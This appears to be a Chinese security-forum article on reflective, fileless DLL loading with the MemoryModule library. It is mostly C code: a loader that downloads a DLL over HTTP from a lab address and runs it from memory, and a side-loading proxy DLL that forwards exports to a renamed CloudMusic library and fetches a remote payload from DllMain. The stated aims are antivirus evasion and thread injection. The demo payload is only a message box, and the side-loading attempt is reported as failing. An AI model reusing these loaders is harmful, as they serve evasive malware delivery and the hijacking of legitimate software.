MemoryModule的远程反射dll加载与一些没有实现的想法
Neko205 发表于 福建 技术文章 627浏览 · 2024-12-03 03:58

如果说之前我一直在dll上做文章,那么这次就是在加载器中做文章,不是shellcode的加载器,而是dll加载器

最终目标是不使用LoadLibrary,实现从远端加载dll,实现线程注入

何谓反射

windows在执行一个pe格式的文件的时候会调用自身的pe格式解析器来实现解析,而反射指的是使用自定义的 DLL 加载器来完成pe格式解析从内存中加载到另一个进程

MemoryModule

实现这个操作需要用到这个项目中的c文件与头文件

https://github.com/fancycode/MemoryModule

其中头文件中定义了这个项目中实现的一些函数,其中我们会用到的函数如下

/**
     * 从给定的内存位置和大小加载 EXE/DLL 文件。
     *
     * 所有依赖项将通过默认的 LoadLibrary/GetProcAddress
     * 调用通过 Windows API 进行解析。
     */
    HMEMORYMODULE MemoryLoadLibrary(const void*, size_t);

    /**
     * 从给定的内存位置和大小加载 EXE/DLL 文件,使用自定义的依赖解析器。
     *
     * 所有依赖项将通过传入的回调方法进行解析。
     */
    HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t,
        CustomAllocFunc,
        CustomFreeFunc,
        CustomLoadLibraryFunc,
        CustomGetProcAddressFunc,
        CustomFreeLibraryFunc,
        void*);

实现

运⾏时会有旧接⼝使⽤的安全提醒,通过在项⽬属性中禁⽤此警告,点击项⽬,选择属性 ,导航到 C/C++预处理器,预处理器定义中添加 _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"

// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE& hBadCodeDll, LPCWSTR lpwszBadCodeFileName) {
    DWORD dwHighFileSize = 0;
    DWORD dwLowFileSize = 0;

    hBadCodeDll = CreateFileW(lpwszBadCodeFileName, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hBadCodeDll == INVALID_HANDLE_VALUE) {
        return GetLastError();
    }

    dwLowFileSize = GetFileSize(hBadCodeDll, &dwHighFileSize);
    return dwLowFileSize;
}

int main() {
    HMEMORYMODULE hModule;                  // MemoryModule 句柄
    HANDLE hBadCodeDll = INVALID_HANDLE_VALUE; // DLL 文件句柄
    WCHAR szBadCodeFile[] = L"C:\\Users\\pc\\source\\repos\\Dllmsg\\Dllmsg\\x64\\Debug\\Dllmsg.dll"; // DLL 文件路径
    DWORD dwFileSize = 0;                   // DLL 文件的大小
    DWORD dwReadOfFileSize = 0;             // 实际读取的文件大小
    PBYTE bFileBuffer = NULL;               // 用于存储文件内容的缓冲区

    // 调用函数 打开文件并获取大小
    dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile);
    if (hBadCodeDll == INVALID_HANDLE_VALUE) {
        return GetLastError();
    }

    // 分配内存以存储文件内容
    bFileBuffer = new BYTE[dwFileSize];

    // 读取文件内容到缓冲区
    if (!ReadFile(hBadCodeDll, bFileBuffer, dwFileSize, &dwReadOfFileSize, NULL)) {
        delete[] bFileBuffer;
        CloseHandle(hBadCodeDll);
        return GetLastError();
    }

    // 关闭文件句柄
    CloseHandle(hBadCodeDll);

    // 使用 MemoryLoadLibrary 将文件内容作为模块加载到内存
    hModule = MemoryLoadLibrary(bFileBuffer, dwFileSize);
    if (hModule == NULL) {
        delete[] bFileBuffer;
        return -1;
    }

    // DLL 加载后会自动弹窗
    printf("DLL loaded and executed.\n");

    // 释放加载的内存模块
    MemoryFreeLibrary(hModule);
    delete[] bFileBuffer; // 释放文件内容缓冲区的内存

    return 0;
}

dll的编写我没有使用函数指针,而是直接在dllmain中编写逻辑,虽然复杂逻辑下可能会导致死锁,但也更加简单

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"Hello from DLL!", L"Dll Message", MB_OK | MB_ICONINFORMATION);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

代码的逻辑并不复杂,先将dll读取到内存,而后使用MemoryLoadLibrary函数通过内存位置和大小加载dll

/**
  * 从给定的内存位置和大小加载 EXE/DLL 文件。
  *
  * 所有依赖项将通过默认的 LoadLibrary/GetProcAddress
  * 调用通过 Windows API 进行解析。
  * 
  * 在代码层调用他会回调Ex,没差
  */
 HMEMORYMODULE MemoryLoadLibrary(const void*, size_t);

 /**
  * 从给定的内存位置和大小加载 EXE/DLL 文件,使用自定义的依赖解析器。
  *
  * 所有依赖项将通过传入的回调方法进行解析。
  */
 HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t,
     CustomAllocFunc,
     CustomFreeFunc,
     CustomLoadLibraryFunc,
     CustomGetProcAddressFunc,
     CustomFreeLibraryFunc,
     void*);

dll网络加载实现无文件落地

有些师傅的代码是通过tcp连接获取msfdll存储到内存执行,我给出的方案是直接通过http下载dll到内存实现再通过加载的dll实现线程注入上线

DllLoader
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <wininet.h> // 包含网络相关的函数
#include "MemoryModule.h"

#pragma comment(lib, "wininet.lib") // 链接 Wininet 库

#define PAYLOAD_SIZE (1024 * 512)

// 下载 DLL 文件到内存并返回读取的字节数
BOOL DownloadDLL(LPCWSTR url, PBYTE buffer, DWORD bufferSize, DWORD* bytesRead) {
    HINTERNET hInternet = InternetOpenW(L"Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        return FALSE;
    }

    HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 读取数据到内存缓冲区
    BOOL success = InternetReadFile(hConnect, buffer, bufferSize, bytesRead);

    // 清理
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return success;
}

int main() {
    HMEMORYMODULE hModule;                  // MemoryModule 句柄
    WCHAR url[] = L"http://192.168.56.1:8000/Dllmsg.dll"; //dll直接在dllmain中调用
    DWORD dwFileSize = PAYLOAD_SIZE;       
    DWORD dwBytesRead = 0;                 
    PBYTE bFileBuffer = new BYTE[PAYLOAD_SIZE]; 

    // 下载 DLL 到内存
    if (!DownloadDLL(url, bFileBuffer, dwFileSize, &dwBytesRead) || dwBytesRead == 0) {
        printf("Failed to download DLL.\n");
        delete[] bFileBuffer;
        return GetLastError();
    }

    // 使用 MemoryLoadLibrary 将文件内容作为模块加载到内存
    hModule = MemoryLoadLibrary(bFileBuffer, dwBytesRead);
    if (hModule == NULL) {
        delete[] bFileBuffer;
        printf("[*] MemoryLoadLibrary Failed\n");
        return -1;
    }

    // DLL 加载后会自动执行
    printf("DLL loaded and executed.\n");

    // 释放加载的内存模块
    MemoryFreeLibrary(hModule);
    delete[] bFileBuffer; // 释放文件内容缓冲区的内存

    return 0;
}

效果:

通过DLL Side-Loading远端加载恶意dll进行线程注入(失败)

至此不使用LoadLibrary,从远端加载dll都实现了,但是否可以更进一步

这是正常的旁路加载流程,如果能实现不直接通过劫持的dll调用shellcode,而是通过其加载远程shellcodeloder,则可以很大程度上加强免杀效果

理想很丰满,但由于这种套娃会导致中继dll死锁,且我暂时没找到解决方案,还有两个方案

  1. 本地放置一个exe,中继调用exe,exe通过网络再调用恶意dll
  2. 中继通过网络直接调用exe在注入shellcode到内存,或者更极端点通过网络调用exe到内存,在通过其调用恶意dll

也没成功

后续发现,不能直接在dllmain中进行网络操作,会直接死掉,如果通过导出函数倒是没问题,但是在旁加载中可控的只有dllmain

以上思路以下是失败代码 如果有想法的师傅也可以自己试试:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <wininet.h> // 包含网络相关的函数
#include "MemoryModule.h"
#pragma comment(lib, "wininet.lib") // 链接 Wininet 库

#define PAYLOAD_SIZE (1024 * 512)// 512kb
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:CloudMuiscMain=cloudmusicOrg.CloudMuiscMain,@1")
#pragma comment(linker, "/EXPORT:CompressFile=cloudmusicOrg.CompressFile,@2")
#pragma comment(linker, "/EXPORT:CompressFileW=cloudmusicOrg.CompressFileW,@3")
#pragma comment(linker, "/EXPORT:CompressFileW2=cloudmusicOrg.CompressFileW2,@4")
#pragma comment(linker, "/EXPORT:ConvertFile=cloudmusicOrg.ConvertFile,@5")
#pragma comment(linker, "/EXPORT:ConvertFileW=cloudmusicOrg.ConvertFileW,@6")
#pragma comment(linker, "/EXPORT:ConvertFileW2=cloudmusicOrg.ConvertFileW2,@7")
#pragma comment(linker, "/EXPORT:DecompressFile=cloudmusicOrg.DecompressFile,@8")
#pragma comment(linker, "/EXPORT:DecompressFileW=cloudmusicOrg.DecompressFileW,@9")
#pragma comment(linker, "/EXPORT:DecompressFileW2=cloudmusicOrg.DecompressFileW2,@10")
#pragma comment(linker, "/EXPORT:FillRF64Header=cloudmusicOrg.FillRF64Header,@11")
#pragma comment(linker, "/EXPORT:FillWaveFormatEx=cloudmusicOrg.FillWaveFormatEx,@12")
#pragma comment(linker, "/EXPORT:FillWaveHeader=cloudmusicOrg.FillWaveHeader,@13")
#pragma comment(linker, "/EXPORT:VerifyFile=cloudmusicOrg.VerifyFile,@14")
#pragma comment(linker, "/EXPORT:VerifyFileW=cloudmusicOrg.VerifyFileW,@15")
#pragma comment(linker, "/EXPORT:VerifyFileW2=cloudmusicOrg.VerifyFileW2,@16")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
BOOL DownloadDLL(LPCWSTR url, PBYTE buffer, DWORD bufferSize, DWORD* bytesRead) {
    HINTERNET hInternet = InternetOpenW(L"Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        return FALSE;
    }

    HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 读取数据到内存缓冲区
    BOOL success = InternetReadFile(hConnect, buffer, bufferSize, bytesRead);

    // 清理
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return success;
}

int runNetDll() {
    HMEMORYMODULE hModule; // MemoryModule 句柄
    WCHAR url[] = L"http://192.168.56.1:8000/Dllmsg.dll";
    DWORD dwFileSize = PAYLOAD_SIZE; // 假定 DLL 最大大小
    DWORD dwBytesRead = 0; // 实际读取的字节数
    PBYTE bFileBuffer = new BYTE[PAYLOAD_SIZE]; // 用于存储文件内容的缓冲区

    // 下载 DLL 到内存
    if (!DownloadDLL(url, bFileBuffer, dwFileSize, &dwBytesRead) || dwBytesRead == 0) {
        printf("Failed to download DLL.\n");
        delete[] bFileBuffer;
        return GetLastError();
    }

    // 使用 MemoryLoadLibrary 将文件内容作为模块加载到内存
    hModule = MemoryLoadLibrary(bFileBuffer, dwBytesRead);
    if (hModule == NULL) {
        delete[] bFileBuffer;
        printf("[*] MemoryLoadLibrary Failed\n");
        return -1;
    }

    // 获取 DLL 中导出的函数地址
    typedef void (*MsgFunction)();
    MsgFunction msgFunc = (MsgFunction)MemoryGetProcAddress(hModule, "MsgFromDll");
    if (msgFunc) {
        msgFunc(); // 调用 DLL 中的函数
    }
    else {
        printf("Failed to get function address from DLL.\n");
    }

    // DLL 加载后会自动执行
    printf("DLL loaded and executed.\n");

    // 释放加载的内存模块
    MemoryFreeLibrary(hModule);
    delete[] bFileBuffer; // 释放文件内容缓冲区的内存

    return 0;
}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        runNetDll();
    }
    else if (dwReason == DLL_PROCESS_DETACH) {
    }

    return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

参考文档

2 条评论
某人
表情
可输入 255